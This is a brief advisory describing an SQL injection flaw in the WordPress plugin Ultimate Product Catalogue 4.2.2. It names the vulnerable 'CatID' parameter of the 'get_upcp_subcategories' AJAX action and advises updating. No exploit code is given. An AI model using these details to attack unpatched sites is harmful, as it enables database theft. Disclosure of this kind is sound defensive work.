Ultimate Product Catalogue 4.2.2 Sql Injection – Plugin WordPress – Sql Injection

Ultimate Product Catalogue 4.2.2 is vulnerable to SQL Injection. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'CatID' parameter of the 'get_upcp_subcategories' AJAX action. An attacker can send a malicious request to the vulnerable application and execute arbitrary SQL commands in application's database, allowing to steal sensitive data from the database.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to update to the latest version of the plugin.
